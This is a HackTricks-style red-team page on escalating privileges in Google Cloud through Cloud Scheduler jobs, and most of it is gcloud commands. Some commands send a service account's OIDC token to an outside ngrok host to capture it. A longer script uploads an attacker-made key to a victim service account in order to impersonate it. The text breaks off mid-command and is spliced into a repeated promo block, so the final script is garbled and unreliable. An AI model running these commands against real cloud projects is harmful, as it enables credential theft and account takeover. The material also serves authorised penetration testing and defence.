# GCP - Cloud Scheduler Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
\
Learn & practice GCP Hacking:
[**HackTricks Training GCP Red Team Expert (GRTE)**
](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## Cloud Scheduler
More information in:
{% content-ref url="../gcp-services/gcp-cloud-scheduler-enum.md" %}
[gcp-cloud-scheduler-enum.md](../gcp-services/gcp-cloud-scheduler-enum.md)
{% endcontent-ref %}
### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
An attacker with these permissions could exploit **Cloud Scheduler** to **authenticate cron jobs as a specific Service Account**. By crafting an HTTP POST request, the attacker schedules actions, like creating a Storage bucket, to execute under the Service Account's identity. This method leverages the **Scheduler's ability to target `*.googleapis.com` endpoints and authenticate requests**, allowing the attacker to manipulate Google API endpoints directly using a simple `gcloud` command.
* **Contact any google API via`googleapis.com` with OAuth token header**
Create a new Storage bucket:
{% code overflow="wrap" %}
```bash
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
```
{% endcode %}
To escalate privileges, an **attacker merely crafts an HTTP request targeting the desired API, impersonating the specified Service Account**
* **Exfiltrate OIDC service account token**
{% code overflow="wrap" %}
```bash
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
```
{% endcode %}
If you need to check the HTTP response you might just t**ake a look at the logs of the execution**.
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
Like in the previous scenario it's possible to **update an already created scheduler** to steal the token or perform actions. For example:
{% code overflow="wrap" %}
```bash
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
```
{% endcode %}
Another example to upload a private key to a SA and impersonate it:
{% code overflow="wrap" %}
```bash
# Generate local private key
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
-keyout /tmp/private_key.pem \
-out /tmp/public_key.pem \
-subj "/CN=unused"
# Remove last new line character of the public key
file_size=$(wc -c < /tmp/public_key.pem)
new_size=$((file_size - 1))
truncate -s $new_size /tmp/public_key.pem
# Update scheduler to upload the key to a SA
## For macOS: REMOVE THE `-w 0` FROM THE BASE64 COMMAND
gcloud scheduler jobs update http scheduler_lab_1 \
--schedule='* * * * *' \
--uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \
--message-body="{\"publicKeyData\": \"$(cat /tmp/public_key.pem | base64 -w 0)\"}" \
--update-headers "Content-Type=application/json" \
--location us-central1 \
--oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com
# Wait 1 min
sleep 60
# Check the logs to check it worked
gcloud logging read 'resource.type="cloud_scheduler_job" AND resource.labels.job_id="scheduler_lab_1" AND resource.labels.location="us-central1"
jsonPayload.@type="type.googleapis.com/google.cloud.scheduler.logging.AttemptFinished"' --limit 10 --project --format=json
## If any '"status": 200' it means it worked!
## Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: "status": 400
# Build the json to contact the SA
## Get privatekey in json format
file_content=$(<"/tmp/private_key.pem")
private_key_json=$(jq -Rn --arg str "$file_content" '$str')
## Get ID of the generated key
gcloud iam service-accounts keys list --iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com
# Create the json in a file
## NOTE that you need to export your project-id in the env var PROJECT_ID
## and that this script is expecting the key ID to be the first one (check the `head`)
export PROJECT_ID=...
cat > /tmp/lab.json <[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
\
Learn & practice GCP Hacking:
[**HackTricks Training GCP Red Team Expert (GRTE)**
](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}